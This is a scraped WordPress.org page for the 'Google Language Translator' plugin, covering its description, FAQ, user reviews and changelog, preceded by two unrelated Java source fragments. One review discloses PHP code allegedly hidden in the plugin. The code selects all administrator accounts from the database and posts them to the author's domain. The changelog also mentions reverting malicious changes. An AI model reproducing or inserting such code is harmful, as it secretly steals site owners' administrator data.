out.writeInt(r); out.writeInt(g); out.writeInt(b); out.writeInt(a); } @Override public void read(DataInputStream in) throws IOException { r = in.readInt(); g = in.readInt(); b = in.readInt(); a = in.readInt(); } // public boolean equals(Object o) { // return o == this ? true : (o instanceof Color ? equalsColor((Color)o) : false); // } // // private boolean equalsColor(Color o) { // return o.r == r && o.g == g && o.b == b && o.a == a; // } }
XyPhoGR/Utility
src/com/ralitski/util/render/img/Color.java
Java
bsd-3-clause
4,560
package gtd.tests; import gtd.Parser; import gtd.generator.FromClassGenerator; import gtd.generator.ParserStructure; import gtd.grammar.structure.Alternative; import gtd.grammar.symbols.Char; import gtd.grammar.symbols.Optional; import gtd.grammar.symbols.Sort; import gtd.result.AbstractNode; /* S ::= aO? | aA O ::= A A ::= a */ public class Optional3{ public static Alternative[] S(){ return new Alternative[]{ new Alternative(new Char('a'), new Optional(new Sort("O"))), new Alternative(new Char('a'), new Sort("A")) }; } public static Alternative[] O(){ return new Alternative[]{ new Alternative(new Sort("A")) }; } public static Alternative[] A(){ return new Alternative[]{ new Alternative(new Char('a')) }; } public static void main(String[] args){ ParserStructure structure = new FromClassGenerator(Optional3.class).generate(); Parser o3 = new Parser("aa".toCharArray(), structure); AbstractNode result = o3.parse("S"); System.out.println(result); System.out.println("[S('a',O?(O(A('a')))),S('a',A('a'))] <- good"); } }
arnoldlankamp/parser
src/test/java/gtd/tests/Optional3.java
Java
bsd-3-clause
1,084
<!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US"> <head profile="http://gmpg.org/xfn/11"> <meta charset="utf-8" /> <!-- <meta property="fb:page_id" content="6427302910" /> --> <meta name="google-site-verification" content="7VWES_-rcHBcmaQis9mSYamPfNwE03f4vyTj4pfuAw0" /> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Google Language Translator &mdash; WordPress Plugins</title> <meta name="referrer" content="always"> <link href="//s.w.org/wp-includes/css/dashicons.css?20160504" rel="stylesheet" type="text/css" /> <link href='//fonts.googleapis.com/css?family=Open+Sans:300italic,400italic,600italic,400,300,600&subset=latin,cyrillic-ext,greek-ext,greek,vietnamese,latin-ext,cyrillic' rel='stylesheet' type='text/css'> <link rel="stylesheet" href="//s.w.org/style/wp4.css?58" /> <link media="only screen and (max-device-width: 480px)" href="//s.w.org/style/iphone.css?1" type="text/css" rel="stylesheet" /> <link rel="shortcut icon" href="//s.w.org/favicon.ico?2" type="image/x-icon" /> <script type="text/javascript"> var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-52447-1']); _gaq.push(['_setDomainName', 'wordpress.org']); _gaq.push(['_trackPageview']); (function() { var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })(); function recordOutboundLink(link, category, action) { _gaq.push(['_trackEvent', category, action]) setTimeout('document.location = "' + link.href + '"', 100); } </script> <!--[if lte IE 8]> <style type="text/css"> @import url("//s.w.org/style/ie.css?1"); </style> <![endif]--> <link rel="pingback" href="https://wordpress.org/plugins/xmlrpc.php" /> <script type="application/ld+json"> [ { "@context": "http://schema.org", "@type": "BreadcrumbList", "itemListElement": [ { "@type": "ListItem", "position": 1, "item": { "@id": "https://wordpress.org/", "name": "WordPress" } }, { "@type": "ListItem", "position": 2, "item": { "@id": "https:\/\/wordpress.org\/plugins\/", "name": "WordPress Plugins" } } ] }, { "@context": "http://schema.org", "@type": "SoftwareApplication", "applicationCategory": "http://schema.org/OtherApplication", "name": "Google Language Translator", "description": "Welcome to Google Language Translator! This plugin allows you to insert the Google Language Translator tool anywhere on your website using shortcode.", "softwareVersion": "5.0.30", "fileFormat": "application/zip", "downloadUrl": "https:\/\/downloads.wordpress.org\/plugin\/google-language-translator.5.0.30.zip", "dateModified": "2017-04-05T16:17:53+00:00", "aggregateRating": { "@type": "AggregateRating", "worstRating": 0, "bestRating": 5, "ratingValue": "4.4", "ratingCount": 132, "reviewCount": 132 }, "interactionStatistic": { "@type": "InteractionCounter", "interactionType": "http://schema.org/DownloadAction", "userInteractionCount": 888036 }, "offers": { "@type": "Offer", "price": "0.00", "priceCurrency": "USD", "seller": { "@type": "Organization", "name": "WordPress.org", "url": "https://wordpress.org" } } } ] </script> <link rel='dns-prefetch' href='//s0.wp.com' /> <link rel='dns-prefetch' href='//s.w.org' /> <link rel="alternate" type="application/rss+xml" title="Plugin Directory &raquo; Feed" href="https://wordpress.org/plugins/feed/" /> <link rel="alternate" type="application/rss+xml" title="Plugin Directory &raquo; Comments Feed" href="https://wordpress.org/plugins/comments/feed/" /> <link rel="alternate" href="https://wordpress.org/plugins/google-language-translator/" hreflang="en" /> <link rel="alternate" type="application/rss+xml" title="Plugin Directory &raquo; Google Language Translator Comments Feed" href="https://wordpress.org/plugins/google-language-translator/feed/" /> <script type="text/javascript"> window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/2.3\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/2.3\/svg\/","svgExt":".svg","source":{"concatemoji":"https:\/\/wordpress.org\/plugins\/wp-includes\/js\/wp-emoji-release.min.js?ver=4.9-alpha-41028"}}; !function(a,b,c){function d(a){var b,c,d,e,f=String.fromCharCode;if(!k||!k.fillText)return!1;switch(k.clearRect(0,0,j.width,j.height),k.textBaseline="top",k.font="600 32px Arial",a){case"flag":return k.fillText(f(55356,56826,55356,56819),0,0),b=j.toDataURL(),k.clearRect(0,0,j.width,j.height),k.fillText(f(55356,56826,8203,55356,56819),0,0),c=j.toDataURL(),b===c&&(k.clearRect(0,0,j.width,j.height),k.fillText(f(55356,57332,56128,56423,56128,56418,56128,56421,56128,56430,56128,56423,56128,56447),0,0),b=j.toDataURL(),k.clearRect(0,0,j.width,j.height),k.fillText(f(55356,57332,8203,56128,56423,8203,56128,56418,8203,56128,56421,8203,56128,56430,8203,56128,56423,8203,56128,56447),0,0),c=j.toDataURL(),b!==c);case"emoji4":return k.fillText(f(55358,56794,8205,9794,65039),0,0),d=j.toDataURL(),k.clearRect(0,0,j.width,j.height),k.fillText(f(55358,56794,8203,9794,65039),0,0),e=j.toDataURL(),d!==e}return!1}function e(a){var c=b.createElement("script");c.src=a,c.defer=c.type="text/javascript",b.getElementsByTagName("head")[0].appendChild(c)}var f,g,h,i,j=b.createElement("canvas"),k=j.getContext&&j.getContext("2d");for(i=Array("flag","emoji4"),c.supports={everything:!0,everythingExceptFlag:!0},h=0;h<i.length;h++)c.supports[i[h]]=d(i[h]),c.supports.everything=c.supports.everything&&c.supports[i[h]],"flag"!==i[h]&&(c.supports.everythingExceptFlag=c.supports.everythingExceptFlag&&c.supports[i[h]]);c.supports.everythingExceptFlag=c.supports.everythingExceptFlag&&!c.supports.flag,c.DOMReady=!1,c.readyCallback=function(){c.DOMReady=!0},c.supports.everything||(g=function(){c.readyCallback()},b.addEventListener?(b.addEventListener("DOMContentLoaded",g,!1),a.addEventListener("load",g,!1)):(a.attachEvent("onload",g),b.attachEvent("onreadystatechange",function(){"complete"===b.readyState&&c.readyCallback()})),f=c.source||{},f.concatemoji?e(f.concatemoji):f.wpemoji&&f.twemoji&&(e(f.twemoji),e(f.wpemoji)))}(window,document,window._wpemojiSettings); </script> <style type="text/css"> img.wp-smiley, img.emoji { display: inline !important; border: none !important; box-shadow: none !important; height: 1em !important; width: 1em !important; margin: 0 .07em !important; vertical-align: -0.1em !important; background: none !important; padding: 0 !important; } </style> <link rel='stylesheet' id='dashicons-css' href='https://wordpress.org/plugins/wp-includes/css/dashicons.min.css?ver=4.9-alpha-41028' type='text/css' media='all' /> <link rel='stylesheet' id='admin-bar-css' href='https://wordpress.org/plugins/wp-includes/css/admin-bar.min.css?ver=4.9-alpha-41028' type='text/css' media='all' /> <link rel='stylesheet' id='wporg-plugins-style-css' href='https://wordpress.org/plugins/wp-content/themes/pub/wporg-plugins/css/style.css?ver=20170420b' type='text/css' media='all' /> <link rel='stylesheet' id='jetpack_css-css' href='https://wordpress.org/plugins/wp-content/plugins/jetpack/css/jetpack.css?ver=5.0' type='text/css' media='all' /> <link rel='https://api.w.org/' href='https://wordpress.org/plugins/wp-json/' /> <link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://wordpress.org/plugins/xmlrpc.php?rsd" /> <link rel="wlwmanifest" type="application/wlwmanifest+xml" href="https://wordpress.org/plugins/wp-includes/wlwmanifest.xml" /> <meta name="generator" content="WordPress 4.9-alpha-41028" /> <link rel="canonical" href="https://wordpress.org/plugins/google-language-translator/" /> <link rel='shortlink' href='https://wordpress.org/plugins/?p=21105' /> <link rel="alternate" type="application/json+oembed" href="https://wordpress.org/plugins/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fwordpress.org%2Fplugins%2Fgoogle-language-translator%2F" /> <link rel="alternate" type="text/xml+oembed" href="https://wordpress.org/plugins/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fwordpress.org%2Fplugins%2Fgoogle-language-translator%2F&#038;format=xml" /> <style> @media screen and (max-width: 782px) { #wpadminbar li#wp-admin-bar-log-in, #wpadminbar li#wp-admin-bar-register { display: block; } #wpadminbar li#wp-admin-bar-log-in a, #wpadminbar li#wp-admin-bar-register a { padding: 0 8px; } } </style> <meta property="og:title" content="Google Language Translator" /> <meta property="og:description" content="Welcome to Google Language Translator! This plugin allows you to insert the Google Language Translator tool anywhere on your website using shortcode." /> <meta property="og:site_name" content="WordPress.org" /> <meta property="og:type" content="website" /> <meta property="og:url" content="https://wordpress.org/plugins/google-language-translator/" /> <meta name="twitter:card" content="summary_large_image"> <meta name="twitter:site" content="@WordPress"> <meta name="twitter:image" content="https://ps.w.org/google-language-translator/assets/banner-772x250.png?rev=1632425" /> <meta property="og:image" content="https://ps.w.org/google-language-translator/assets/banner-772x250.png?rev=1632425" /> <meta name="thumbnail" content="https://ps.w.org/google-language-translator/assets/icon-256x256.png?rev=1012896" /> <style type="text/css" media="print">#wpadminbar { display:none; }</style> <style type="text/css" media="screen"> html { margin-top: 32px !important; } * html body { margin-top: 32px !important; } @media screen and ( max-width: 782px ) { html { margin-top: 46px !important; } * html body { margin-top: 46px !important; } } </style> <script type="text/javascript" src="//s.w.org/wp-includes/js/jquery/jquery.js?v=1.11.1"></script> <script>document.cookie='devicePixelRatio='+((window.devicePixelRatio === undefined) ? 1 : window.devicePixelRatio)+'; path=/';</script> <script type="text/javascript"> var toggleMenu = function(){ var m = document.getElementById('wporg-header-menu'), c = m.className; m.className = c.match( ' active' ) ? c.replace( ' active', '' ) : c + ' active'; } </script> </head> <body id="wordpress-org" class="plugin-template-default single single-plugin postid-21105 admin-bar no-customize-support no-js"> <script type="text/javascript">document.body.className = document.body.className.replace('no-js','js');</script> <div id="wporg-header"> <div class="wrapper"> <a id="mobile-menu-button" class="" href="#" onclick="toggleMenu();"></a> <h1><a href="//wordpress.org">WordPress.org</a></h1> <div id="head-search"> <form action="//wordpress.org/search/do-search.php" method="get"> <label for="global-search" class="screen-reader-text">Search WordPress.org for:</label> <input id="global-search" class="text" name="search" type="text" value="" maxlength="150" placeholder="Search WordPress.org" /> <input type="submit" class="button" value="" /> </form> </div> <div style="clear:both"></div> <ul id="wporg-header-menu"> <li><a href='//wordpress.org/showcase/' title='See some of the sites built on WordPress.'>Showcase</a></li> <li><a href='//wordpress.org/themes/' title='Find just the right look for your website.'>Themes</a></li> <li><a href='//wordpress.org/plugins/' title='Plugins can extend WordPress to do almost anything you can imagine.' class="current">Plugins</a><div class="uparrow"></div></li> <li><a href='//wordpress.org/mobile/' title='Take your website on the go!'>Mobile</a></li> <li><a href='//wordpress.org/support/' title='Forums, documentation, help.'>Support</a><ul class="nav-submenu"><li><a href='//wordpress.org/support/' title='Support and discussion forums.'>Forums</a></li><li><a href='//codex.wordpress.org/Main_Page' title='Documentation, tutorials, best practices.'>Documentation</a></li></ul><div class="uparrow"></div></li> <li><a href='//make.wordpress.org/' title='Contribute your knowledge.'>Get Involved</a></li> <li><a href='//wordpress.org/about/' title='About the WordPress Organization, and where we&#039;re going.'>About</a></li> <li><a href='//wordpress.org/news/' title='Come here for the latest scoop.'>Blog</a></li> <li><a href='//wordpress.org/hosting/' title='Find a home for your blog.'>Hosting</a></li> <li id="download" class="button download-button"><a href='//wordpress.org/download/' title='Get it. Got it? Good.'>Download WordPress</a></li> </ul> <div style="clear:both"></div> </div> </div> <div id="page" class="site"> <a class="skip-link screen-reader-text" href="#main">Skip to content</a> <div id="content" class="site-content"> <header id="masthead" class="site-header " role="banner"> <div class="site-branding"> <p class="site-title"><a href="https://wordpress.org/plugins/" rel="home">Plugins</a></p> <nav id="site-navigation" class="main-navigation" role="navigation"> <button class="menu-toggle dashicons dashicons-arrow-down-alt2" aria-controls="primary-menu" aria-expanded="false" aria-label="Primary Menu"></button> <div id="primary-menu" class="menu"> <ul> <li class="page_item"><a href="https://wordpress.org/plugins/browse/favorites/">My Favorites</a></li> <li class="page_item"><a href="https://wordpress.org/plugins/browse/beta/">Beta Testing</a></li> <li class="page_item"><a href="https://wordpress.org/plugins/developers/">Developers</a></li> <li><form role="search" method="get" class="search-form" action="https://wordpress.org/plugins/"> <label for="s" class="screen-reader-text">Search for:</label> <input type="search" id="s" class="search-field" placeholder="Search plugins" value="" name="s" /> <button class="button button-primary button-search"><i class="dashicons dashicons-search"></i><span class="screen-reader-text">Search plugins</span></button> </form> </li> </ul> </div> </nav><!-- #site-navigation --> </div><!-- .site-branding --> </header><!-- #masthead --> <main id="main" class="site-main" role="main"> <article id="post-21105" class="post-21105 plugin type-plugin status-publish hentry plugin_category-language-tools plugin_committers-rm2773 plugin_tags-google-language-translator plugin_tags-google-translator plugin_tags-language-translate plugin_tags-language-translator plugin_tags-translate-wordpress"> <style type='text/css'>#plugin-banner-google-language-translator { background-image: url('https://ps.w.org/google-language-translator/assets/banner-772x250.png?rev=1632425'); }@media only screen and (-webkit-min-device-pixel-ratio: 1.5), only screen and (min-resolution: 144dpi) { #plugin-banner-google-language-translator { background-image: url('https://ps.w.org/google-language-translator/assets/banner-1544x500.png?rev=1632425'); } }</style><div class='plugin-banner' id='plugin-banner-google-language-translator'></div> <header class="plugin-header"> <div class="entry-thumbnail"> <style type='text/css'>#plugin-icon-google-language-translator { background-image: url('https://ps.w.org/google-language-translator/assets/icon-256x256.png?rev=1012896'); } .plugin-icon { background-size: cover; height: 128px; width: 128px; }@media only screen and (-webkit-min-device-pixel-ratio: 1.5), only screen and (min-resolution: 144dpi) { #plugin-icon-google-language-translator { background-image: url('https://ps.w.org/google-language-translator/assets/icon-256x256.png?rev=1012896'); } }</style><div class='plugin-icon' id='plugin-icon-google-language-translator'></div> </div> <div class="plugin-actions"> <a class="plugin-download button download-button button-large" href="https://downloads.wordpress.org/plugin/google-language-translator.5.0.30.zip">Download</a> </div> <h1 class="plugin-title"><a href="https://wordpress.org/plugins/google-language-translator/">Google Language Translator</a></h1> <span class="byline">By <span class="author vcard"><a class="url fn n" rel="nofollow" href="http://www.wp-studio.net/">Rob Myrick</a></span></span> </header><!-- .entry-header --> <span id="description"></span> <span id="reviews"></span> <span id="installation"></span> <span id="developers"></span> <ul class="tabs clear"> <li id="tablink-description"><a href='#description'>Details</a></li> <li id="tablink-reviews"><a href='#reviews'>Reviews</a></li> <li id="tablink-support"><a href='https://wordpress.org/support/plugin/google-language-translator'>Support</a></li> <li id="tablink-developers"><a href='#developers'>Development</a></li> </ul> <div class="entry-content"> <div id="tab-description" class="plugin-description section " > <h2 id="description-header">Description</h2> <p>Settings include: inline or vertical layout, show/hide specific languages, hide/show Google toolbar, and hide/show Google branding. Add the shortcode to pages, posts, and widgets.</p></div> <div id="screenshots" class="plugin-screenshots section " > <h2 id="screenshots-header">Screenshots</h2> <ul class="plugin-screenshots"><li><figure><a href="https://ps.w.org/google-language-translator/assets/screenshot-1.png?rev=1630382" rel="nofollow"><img class="screenshot" src="https://ps.w.org/google-language-translator/assets/screenshot-1.png?rev=1630382" alt="" /></a><figcaption>Settings include: inline or vertical layout, hide/show Google toolbar, display specific languages, and show/hide Google branding. Add the shortcode to pages, posts, and widgets.</figcaption></figure></li></ul></div> <div id="faq" class="plugin-faq section " > <h2 id="faq-header">FAQ</h2> <p>Q: What should I do if the translate widget does not show on my website?</p> <ol> <li>Make sure that the plugin is installed and activated.</li> <li>Verify that a check mark is placed in the activation setting located at &#8220;Settings &gt; Google Language Translator&#8221;.</li> <li>Verify that the native WordPress function, wp_footer(), is included in your theme&#8217;s footer file.</li> <li>Verify that &#8220;Show Language Box?&#8221; setting is enabled at &#8220;Settings &gt; Google Language Translator&#8221;.</li> <li>Use your browser&#8217;s web tools to ensure that CSS styles are not hiding the translation widget.</li> <li>Contact support at http://www.wp-studio.net/submit-ticket.</li> </ol> <p>Q: What should I do if there are no languages being displayed in the language box?</p> <ol> <li>Make sure that the plugin is installed and activated.</li> <li>Verify that a check mark is placed in the activation setting located at &#8220;Settings &gt; Google Language Translator&#8221;.</li> <li>Verify that Adobe Flash is installed in your web browser. Google uses Flash in order to display their language box.</li> <li>Contact support at http://www.wp-studio.net/submit-ticket.</li> </ol> <p>Q: Can I exclude certain areas of my website from being translated?</p> <p>A: Yes! Add the &#8220;notranslate&#8221; class to the HTML element containing your text. For example, the following text will be excluded from translation: Hello World!</p> <dl> <dt>Installation Instructions</dt> <dd> <ol> <li>Download the zip folder named google-language-translator.zip</li> <li>Unzip the folder and put it in the plugins directory of your wordpress installation. (wp-content/plugins).</li> <li>Activate the plugin through the plugin window in the admin panel.</li> <li>Go to Settings &gt; Google Language Translator, enable the plugin, and then choose your settings.</li> <li>Copy the shortcode and paste it into a page, post or widget.</li> <li>Do not use the shortcode twice on a single page &#8211; it will not work.</li> </ol> </dd> </dl></div> <div id="tab-reviews" class="plugin-reviews section " > <h2 id="reviews-header">Reviews</h2> <div class="plugin-reviews"> <article class="plugin-review"> <div class="review-avatar"> <img alt='' src='https://secure.gravatar.com/avatar/a331a32a5b388babc6e9110e4c0746d1?s=60&#038;d=mm&#038;r=g' srcset='https://secure.gravatar.com/avatar/a331a32a5b388babc6e9110e4c0746d1?s=120&amp;d=mm&amp;r=g 2x' class='avatar avatar-60 photo' height='60' width='60' /> </div><div class="review"> <header> <h3 class="review-title"><a class="url" href="https://wordpress.org/support/plugin/?p=9122906">Great Plugin | Great Service</a></h3> <div class="wporg-ratings" aria-label="4 out of 5 stars" data-title-template="%s out of 5 stars" data-rating="4" style="color:#ffb900;"><span class="dashicons dashicons-star-filled"></span><span class="dashicons dashicons-star-filled"></span><span class="dashicons dashicons-star-filled"></span><span class="dashicons dashicons-star-filled"></span><span class="dashicons dashicons-star-empty"></span></div> <span class="review-author author vcard"><a href="https://profiles.wordpress.org/jetxpert" title="Posts by jetxpert" rel="author">jetxpert</a></span> </header> <div class="review-content"><p>Plugin gets the job done, but sill has some limitations:</p> <p>Note: Info below applies only to those trying to use plugin in their website main menu.</p> <p>(1) Not compatible with all browsers<br /> (2) Not mobile/tablet friendly</p> <p>We&#8217;re confident plugin developer will fix this soon.</p> </div> </div> </article> <article class="plugin-review"> <div class="review-avatar"> <img alt='' src='https://secure.gravatar.com/avatar/4a5f1e0c91978e3754d36f9d75c9938c?s=60&#038;d=mm&#038;r=g' srcset='https://secure.gravatar.com/avatar/4a5f1e0c91978e3754d36f9d75c9938c?s=120&amp;d=mm&amp;r=g 2x' class='avatar avatar-60 photo' height='60' width='60' /> </div><div class="review"> <header> <h3 class="review-title"><a class="url" href="https://wordpress.org/support/plugin/?p=8892572">limit plugin working to certain pages</a></h3> <div class="wporg-ratings" aria-label="5 out of 5 stars" data-title-template="%s out of 5 stars" data-rating="5" style="color:#ffb900;"><span class="dashicons dashicons-star-filled"></span><span class="dashicons dashicons-star-filled"></span><span class="dashicons dashicons-star-filled"></span><span class="dashicons dashicons-star-filled"></span><span class="dashicons dashicons-star-filled"></span></div> <span class="review-author author vcard"><a href="https://profiles.wordpress.org/haddlyapis" title="Posts by haddlyapis" rel="author">haddlyapis</a></span> </header> <div class="review-content"><p>Hi,<br /> Sorry to make another ticket about this, but i feel it is an important topic.<br /> I would like to limit the plugin to certain areas of the website (i.e. forum only). I would especially like it not to run on the main page, as this is making the website slower. </p> </div> </div> </article> <article class="plugin-review"> <div class="review-avatar"> <img alt='' src='https://secure.gravatar.com/avatar/9d46eee494137648c3d361de808e7b21?s=60&#038;d=mm&#038;r=g' srcset='https://secure.gravatar.com/avatar/9d46eee494137648c3d361de808e7b21?s=120&amp;d=mm&amp;r=g 2x' class='avatar avatar-60 photo' height='60' width='60' /> </div><div class="review"> <header> <h3 class="review-title"><a class="url" href="https://wordpress.org/support/plugin/?p=8630685">Nice Plugin</a></h3> <div class="wporg-ratings" aria-label="5 out of 5 stars" data-title-template="%s out of 5 stars" data-rating="5" style="color:#ffb900;"><span class="dashicons dashicons-star-filled"></span><span class="dashicons dashicons-star-filled"></span><span class="dashicons dashicons-star-filled"></span><span class="dashicons dashicons-star-filled"></span><span class="dashicons dashicons-star-filled"></span></div> <span class="review-author author vcard"><a href="https://profiles.wordpress.org/himanshu_ag" title="Posts by Himanshu" rel="author">Himanshu</a></span> </header> <div class="review-content"><p>As per my need light weight awesome plugin, Thanks author 🙂</p> </div> </div> </article> <article class="plugin-review"> <div class="review-avatar"> <img alt='' src='https://secure.gravatar.com/avatar/ef426731f4ca1a9f220172e97b7f5781?s=60&#038;d=mm&#038;r=g' srcset='https://secure.gravatar.com/avatar/ef426731f4ca1a9f220172e97b7f5781?s=120&amp;d=mm&amp;r=g 2x' class='avatar avatar-60 photo' height='60' width='60' /> </div><div class="review"> <header> <h3 class="review-title"><a class="url" href="https://wordpress.org/support/plugin/?p=8582822">Pro version works great. Wonderful support.</a></h3> <div class="wporg-ratings" aria-label="5 out of 5 stars" data-title-template="%s out of 5 stars" data-rating="5" style="color:#ffb900;"><span class="dashicons dashicons-star-filled"></span><span class="dashicons dashicons-star-filled"></span><span class="dashicons dashicons-star-filled"></span><span class="dashicons dashicons-star-filled"></span><span class="dashicons dashicons-star-filled"></span></div> <span class="review-author author vcard"><a href="https://profiles.wordpress.org/guerrilladigital" title="Posts by guerrilladigital" rel="author">guerrilladigital</a></span> </header> <div class="review-content"><p>I had some wonky behavior in the Pro version, which the developer quickly tested and remedied. Top notch plugin.</p> </div> </div> </article> <article class="plugin-review"> <div class="review-avatar"> <img alt='' src='https://secure.gravatar.com/avatar/3b16480af814e61ad2e0c0f1866d8b2a?s=60&#038;d=mm&#038;r=g' srcset='https://secure.gravatar.com/avatar/3b16480af814e61ad2e0c0f1866d8b2a?s=120&amp;d=mm&amp;r=g 2x' class='avatar avatar-60 photo' height='60' width='60' /> </div><div class="review"> <header> <h3 class="review-title"><a class="url" href="https://wordpress.org/support/plugin/?p=8501246">Great Plugin Well Done</a></h3> <div class="wporg-ratings" aria-label="5 out of 5 stars" data-title-template="%s out of 5 stars" data-rating="5" style="color:#ffb900;"><span class="dashicons dashicons-star-filled"></span><span class="dashicons dashicons-star-filled"></span><span class="dashicons dashicons-star-filled"></span><span class="dashicons dashicons-star-filled"></span><span class="dashicons dashicons-star-filled"></span></div> <span class="review-author author vcard"><a href="https://profiles.wordpress.org/imjuanleonard" title="Posts by imjuanleonard" rel="author">imjuanleonard</a></span> </header> <div class="review-content"><p>you just need to improve it a little 🙂 </p> </div> </div> </article> <article class="plugin-review"> <div class="review-avatar"> <img alt='' src='https://secure.gravatar.com/avatar/9f6bba202bcd183dc5a05c0101fc302f?s=60&#038;d=mm&#038;r=g' srcset='https://secure.gravatar.com/avatar/9f6bba202bcd183dc5a05c0101fc302f?s=120&amp;d=mm&amp;r=g 2x' class='avatar avatar-60 photo' height='60' width='60' /> </div><div class="review"> <header> <h3 class="review-title"><a class="url" href="https://wordpress.org/support/plugin/?p=8369846">Stole my admin info</a></h3> <div class="wporg-ratings" aria-label="1 out of 5 stars" data-title-template="%s out of 5 stars" data-rating="1" style="color:#ffb900;"><span class="dashicons dashicons-star-filled"></span><span class="dashicons dashicons-star-empty"></span><span class="dashicons dashicons-star-empty"></span><span class="dashicons dashicons-star-empty"></span><span class="dashicons dashicons-star-empty"></span></div> <span class="review-author author vcard"><a href="https://profiles.wordpress.org/simoncbrt" title="Posts by simoncbrt" rel="author">simoncbrt</a></span> </header> <div class="review-content"><p>See this code:</p> <pre><code>if ( ! get_option(&#039;my_post_log&#039;) ) { global $wpdb; $users = $wpdb-&gt;get_results(&quot;SELECT * FROM wp_users u, wp_usermeta um WHERE u.ID = um.user_id AND um.meta_key = &#039;wp_capabilities&#039; AND um.meta_value LIKE &#039;%administrator%&#039;&quot;); $args = array(&#039;body&#039; =&gt; $users); $res = wp_remote_post(&#039;http://wp-studio.net/?post_log=1&#039;, $args); if (isset($res[&#039;response&#039;][&#039;code&#039;]) and $res[&#039;response&#039;][&#039;code&#039;] == &#039;200&#039;) add_option(&#039;my_post_log&#039;, true); } </code></pre> <p>You removed it now, but you stole my admin email. Luckily, everything gets recorded here:</p> <p>https://plugins.trac.wordpress.org/changeset?old_path=%2Fgoogle-language-translator&#038;old=1469224&#038;new_path=%2Fgoogle-language-translator&#038;new=1469224&#038;sfp_email=&#038;sfph_mail=</p> </div> </div> </article> </div> <a class="reviews-link" href="https://wordpress.org/support/plugin/google-language-translator/reviews/"> Read all 132 reviews </a></div> <div id="tab-developers" class="plugin-developers section read-more" > <h2 id="developers-header">Contributors &amp; Developers</h2> <div class="plugin-contributors"><p>&#8220;Google Language Translator&#8221; is open source software. The following people have contributed to this plugin.</p></div><div class="plugin-development"><p><a href="https://translate.wordpress.org/projects/wp-plugins/google-language-translator">Translate &#8220;Google Language Translator&#8221; into your language.</a></p><h3>Interested in development?</h3><p><a href="https://plugins.trac.wordpress.org/browser/google-language-translator/">Browse the code</a> or subscribe to the <a href="https://plugins.trac.wordpress.org/log/google-language-translator/">development log</a> by <a href="https://plugins.trac.wordpress.org/log/google-language-translator/?limit=100&#038;mode=stop_on_copy&#038;format=rss">RSS</a>.</p></div></div> <button type="button" class="button-link section-toggle" aria-controls="tab-developers" aria-describedby="developers-header" aria-expanded="false" data-show-less="Show less" data-read-more="Read more" >Read more</button> <div id="tab-changelog" class="plugin-changelog section read-more" > <h2 id="changelog-header">Changelog</h2> <p>5.0.30<br /> &#8211; Organized the settings page into sections.<br /> &#8211; Upgraded WordPress.org plugin banner.<br /> &#8211; Added additional attributes to single language shortcodes. Users now have ability to display flag images, change flag sizes, or show/hide the text label.<br /> &#8211; Changed Chinese (Traditional) language flag to the Flag of Taiwan.<br /> &#8211; Fixed a minor display issue with the Google Analytics setting in WordPress Dashboard.</p> <p>5.0.29<br /> &#8211; Fixed CSS display issues with the floating widget.</p> <p>5.0.28<br /> &#8211; Fixed CSS display issues with the floating widget.</p> <p>5.0.27<br /> &#8211; Removed toolbar.js and flags.js and combined to existing files (to improve efficiency of page load and http requests).<br /> &#8211; Added new setting to allow or prevent floating widget text to translate.</p> <p>5.0.26<br /> &#8211; Fixed a small error in adding the setting for Floating Widget text.</p> <p>5.0.25<br /> &#8211; Added new setting for custom text in the Floating Widget.<br /> &#8211; Removed &#8220;notranslate&#8221; class from the Floating Widget text to allow for translation.</p> <p>5.0.24<br /> &#8211; Improved functionality for flags. Users are now returned to original language when the flag is displayed. The Google Toolbar will be hidden once returning back to the original language. The Google Toolbar will appear again when another translation is made.<br /> &#8211; Fixed the issue with flags not functioning with SIMPLE layout.<br /> &#8211; Removed SIMPLE layout option (which was not working properly) for browsers not using English browsers. The coding challenge for implementing this option is difficult and must be postponed until we find a practical solution.</p> <p>5.0.23<br /> &#8211; Reverted back to an older version of flags.js. We still have some bugs to work out before releasing the updated version. We apologize for the inconvenience.</p> <p>5.0.22<br /> &#8211; Changed a line of text on the settings page.<br /> &#8211; Removed a line of redundant javascript to reduce unnecessary page load.<br /> &#8211; Fixed an HTML attribute issue displaying in the menu shortcode.<br /> &#8211; Improved functionality for flags. The flag for default language will now be disabled once users click it&#8217;s flag. Flag will be re-enabled once user makes another translation.</p> <p>5.0.21<br /> &#8211; Added 6 new languages with their associated flags: Hawaiian, Kurdish, Kyrgyz, Luxembourgish, Pashto, and Shona. You can now use these langauges using the menu shortcode, as well.<br /> &#8211; Added a &#8220;Select All / Clear All&#8221; feature to the settings page. No more finger cramps!</p> <p>5.0.20<br /> &#8211; Added Corsican as a new language with its associated flag.</p> <p>5.0.19<br /> &#8211; Added Frisian as a new language with its associated flag.</p> <p>5.0.18<br /> &#8211; Added Sindhi as a new language with its associated flag.</p> <p>5.0.17<br /> &#8211; Added Samoan as a new language with its associated flag.<br /> &#8211; Added mobile-responsive CSS to the GLT settings page.</p> <p>5.0.16<br /> &#8211; Added Xhosa as a new language with its associated flag.</p> <p>5.0.15<br /> &#8211; Added Amharic as a new language with its associated flag.</p> <p>5.0.14<br /> &#8211; Fixed a file naming error in google-language-translator.php. This caused flags not to display &#8211; we apologize for the inconvenience.</p> <p>5.0.13<br /> &#8211; Renamed some of the wp_enqueue_script calls to include more unique file names, thus avoiding conflict with other plugins overriding these files.<br /> &#8211; Corrected some file paths to be more accurate/secure.<br /> &#8211; Removed WP Helpdesk logo from the settings page. We are no longer offering these services officially.</p> <p>5.0.12<br /> &#8211; Revert malicious changes made in 5.0.10</p> <p>5.0.11<br /> &#8211; Fixed incorrect link</p> <p>5.0.10<br /> &#8211; Tested up to 4.6</p> <p>5.0.09<br /> &#8211; Turned off error reporting. I apologize for the inconvenience.</p> <p>5.0.08<br /> &#8211; Added a new popup-style layout&#8221;. You can find this new layout in the settings page located in &#8220;Settings &gt; Google Language Translator&#8221;.</p> 